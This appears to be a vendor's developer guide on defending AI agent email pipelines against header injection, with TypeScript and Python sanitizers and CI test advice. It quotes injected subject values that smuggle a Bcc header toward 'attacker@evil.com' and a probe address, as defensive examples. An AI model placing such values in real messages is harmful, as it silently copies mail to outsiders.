Email header injection attacks exploit one specific assumption: that the string your code puts into a header field contains no newline characters. When AI agents construct headers from LLM output, user-supplied data, or external tool results, that assumption fails constantly. The consequences range from silent Bcc leaks to full message body substitution.
How email header injection actually works
An SMTP message is a text stream. Headers and body are separated by a blank line (\r\n\r\n). Each header field is a single line in the form Name: value\r\n. Inject a \r\n sequence into the value side and you can append an entirely new header—or terminate the header block and start writing body content.
Consider a Subject field built from user input:
Subject: Invoice ready\r\nBcc: attacker@evil.com
The SMTP server sees two headers. The original recipient never knows the message was silently copied. This is the canonical header injection pattern, described in OWASP's Testing Guide under WSTG-INPV-10.
The same vector applies to any header your agent constructs from non-literal values:
To,Cc,Bcc— adding recipientsReply-To— redirecting replies to an attackerContent-Type— rewriting the MIME structureX-Mailer,X-Custom-*— injecting tracking or phishing headersFrom— spoofing the sender identity (where SMTP auth allows it)
Where AI agents are specifically vulnerable
Agent-generated headers carry more risk than typical web-form input for three reasons.
LLM output is unpredictable at token boundaries. A model generating a summary to use as a subject line can emit \n, \r\n, or even \r mid-output. Newlines are common in LLM output because the training corpus is full of them. Truncating at 100 characters doesn't help if the injection lands at character 40.
Agents compose headers from multiple data sources. A typical agent might pull a user's display name from a CRM, a subject from an LLM, a reply-to from a configuration store, and custom X- headers from a tool call result. Each source is a separate injection vector.
Agents also run autonomously. A human reviewing a form submission might notice \n in a text field. An agent running 500 sends per hour will not.
The agent pipeline as an attack surface
flowchart LR
U[User Input] --> A[Agent Logic]
T[Tool Call Result] --> A
L[LLM Output] --> A
A --> H[Header Construction]
H --> V{Sanitize?}
V -- No --> SMTP[SMTP or API]
V -- Yes --> SMTP
SMTP --> RX[Recipient]
Every arrow feeding into Header Construction is a potential injection point. Sanitization must happen at H, not at the sources—you cannot guarantee the sources are clean.
What exactly to sanitize
The minimal rule: strip or reject any value that contains \r, \n, or the null byte \0 before placing it in a header.
Beyond newline injection, enforce these constraints per field:
| Header | Max length | Additional constraints |
|---|---|---|
Subject |
998 chars (RFC 5322) | Strip newlines; encode non-ASCII as RFC 2047 |
From / To / Cc / Bcc |
Per address ≤ 254 chars (RFC 5321) | Validate with an address parser, not regex |
Reply-To |
Same as address fields | Must be a single valid RFC 5322 mailbox |
X-* custom headers |
998 chars per RFC | Strip newlines; validate expected value shape |
Content-Type |
— | Never construct from user input; use an enum |
Sanitization in TypeScript
function sanitizeHeaderValue(value: string): string {
// Remove CR, LF, and null bytes — the injection primitives
const stripped = value.replace(/[\r\n\0]/g, '');
// Trim leading/trailing whitespace that could cause folding issues
return stripped.trim();
}
function sanitizeSubject(raw: string): string {
const clean = sanitizeHeaderValue(raw);
// RFC 5322 hard limit; truncate rather than reject so the send proceeds
return clean.slice(0, 998);
}
For address fields, don't sanitize—parse. A regex that strips newlines still accepts user@example.com, attacker@evil.com as a single To: address. Use a proper parser:
import { parseAddress } from 'email-addresses'; // npm: email-addresses
function validateSingleAddress(raw: string): string {
const parsed = parseAddress(raw);
if (!parsed || parsed.type !== 'mailbox') {
throw new Error(`Invalid address: ${raw}`);
}
return parsed.address; // normalized, single address
}
The email-addresses package (by Jobb Thijssen, available on npm) implements RFC 5321/5322 parsing, not regex matching. It will reject any value that contains header delimiters.
Sanitization in Python
import re
from email.headerregistry import Address
def sanitize_header_value(value: str) -> str:
# Strip CR, LF, null
return re.sub(r'[\r\n\x00]', '', value).strip()
def validate_single_address(raw: str) -> str:
# email.headerregistry.Address raises ValueError on malformed input
addr = Address(addr_spec=raw.strip())
return str(addr)
Python's email.headerregistry module (stdlib, Python 3.6+) enforces RFC 5322 structure during construction, so it raises ValueError on injected content rather than silently accepting it.
Encode, don't just strip
Stripping newlines from a subject like Q2 Report\nBcc: attacker@evil.com gives you Q2 ReportBcc: attacker@evil.com. That's safe, but it corrupts the subject. The right approach for LLM-generated subject lines:
- Strip newlines (make it safe)
- Truncate to a reasonable length (≤ 78 chars for display, ≤ 998 for RFC compliance)
- Encode non-ASCII with RFC 2047
=?UTF-8?B?...?=encoding if your library doesn't handle it automatically
Most modern email SDKs handle RFC 2047 encoding automatically. They don't strip newlines for you—that's your job.
Custom headers from tool call results
Agents using tool calls often attach structured metadata as X- headers for downstream processing—things like X-Agent-Task-Id, X-Classification, or X-Source-Document. These headers are built from tool results, which are untrusted input.
Two rules.
Validate the header name. Header names must match [A-Za-z0-9\-]+. An agent shouldn't be constructing header names dynamically from LLM output at all, but if it is, enforce this pattern strictly.
Validate the header value shape. If X-Agent-Task-Id should be a UUID, check it matches /^[0-9a-f-]{36}$/ and reject anything else. Don't sanitize and forward an arbitrary string from a tool call—validate its expected schema.
const TASK_ID_RE = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i;
function buildCustomHeaders(
taskId: string,
agentName: string
): Record<string, string> {
if (!TASK_ID_RE.test(taskId)) {
throw new Error(`Invalid task ID format: ${taskId}`);
}
return {
'X-Agent-Task-Id': taskId,
// agentName is from config, not user input — still sanitize
'X-Agent-Name': sanitizeHeaderValue(agentName).slice(0, 64),
};
}
Infrastructure-level mitigations
Sanitizing in application code is necessary. Infrastructure can add defense in depth.
Use an API, not raw SMTP. When you send via an HTTP API (like Mails.ai's send API), the library serializes your payload into MIME before submission. A well-implemented SDK will reject or encode newlines in header fields rather than passing them through. With raw SMTP and net.Dial, you're composing the wire bytes yourself—every header value is a potential injection point.
Check what your SDK actually does. Test by passing "subject": "test\r\nBcc: probe@your-domain.com" and inspecting the outbound message headers. If the probe address receives a copy, the SDK is not sanitizing.
Log the full outbound message for a sample. If your sending infrastructure supports it, log a sample of the raw MIME output for a subset of agent sends during development. Visual inspection of the wire format catches encoding bugs that unit tests miss.
Building a sanitization layer
Rather than scattering sanitization calls across agent code, build a typed send-input constructor that enforces invariants at the boundary:
interface AgentSendInput {
to: string;
subject: string;
body_text: string;
replyTo?: string;
taskId?: string;
}
function buildSendInput(raw: AgentSendInput) {
return {
to: validateSingleAddress(raw.to),
subject: sanitizeSubject(raw.subject),
body_text: raw.body_text, // body is not a header; different rules apply
reply_to: raw.replyTo ? validateSingleAddress(raw.replyTo) : undefined,
metadata: raw.taskId ? { task_id: validateTaskId(raw.taskId) } : undefined,
};
}
With Mails.ai's inbound parsing, agents also receive headers from incoming messages. Apply the same validation logic when reflecting any inbound header value back into an outbound message—Reply-To, Subject prefixed with Re:, custom X- headers forwarded from a received message all carry the same risk if they arrived from an untrusted sender.
Frequently Asked Questions
Does using an HTTP email API instead of SMTP prevent header injection?
It reduces risk because a well-implemented SDK serializes your inputs before submission, but it doesn't eliminate it. If you pass a string containing \r\n as a subject, some SDKs will forward it as-is. Test your SDK's behavior explicitly. The sanitization layer in your application code remains necessary regardless of transport.
What about injecting into the email body, not headers?
Body injection is a different class of vulnerability. HTML injection in body_html can enable phishing or XSS in webmail clients. Text injection in body_text has fewer consequences but can still alter agent-to-agent messaging. This article covers header injection specifically; body sanitization follows OWASP HTML encoding rules.
Can LLM output ever be trusted as a header value directly?
No. Even with a system prompt instructing the model not to include newlines, there is no deterministic guarantee. Models can and do emit \n in the middle of single-line outputs. Always run sanitization after the model call, not instead of guarding the prompt.
Is RFC 2047 encoding enough to prevent header injection?
RFC 2047 (=?UTF-8?B?...?=) encoding encodes the entire value as base64, which makes injection impossible for the encoded portion. But the encoding must happen after newline stripping, and it only applies to non-ASCII content. ASCII newlines in an ASCII subject line are not RFC 2047-encoded by default.
Should I reject sends that contain injection attempts or silently fix them?
For subject lines and display names, silent stripping is usually fine—a corrupted subject is better than a failed send. For address fields (To, Cc, Bcc, Reply-To), reject and log. An injected address in those fields is evidence of an active attack, not user error, and you want it in your audit trail.
How do I test for header injection in a CI pipeline?
Add a test that passes "subject: test\r\nBcc: probe@yourdomain.com" through your full send path (against a local SMTP mock like smtp4dev or MailHog) and asserts the outbound MIME contains exactly one header named Subject with no embedded newlines. Libraries like mailparser (Node) or Python's email.parser can parse the raw MIME and let you assert on the parsed header count.
Related guides: Inbound Email Webhook Signatures | Stop Replays, Securing an Agent Email Inbox Against Spoofing, Email Rate Limits & Backpressure for AI Agent Webhooks and CC and BCC in AI Agent Email Workflows.
Explore the product: AI agent inbox API, Email classification, All features and Pricing.
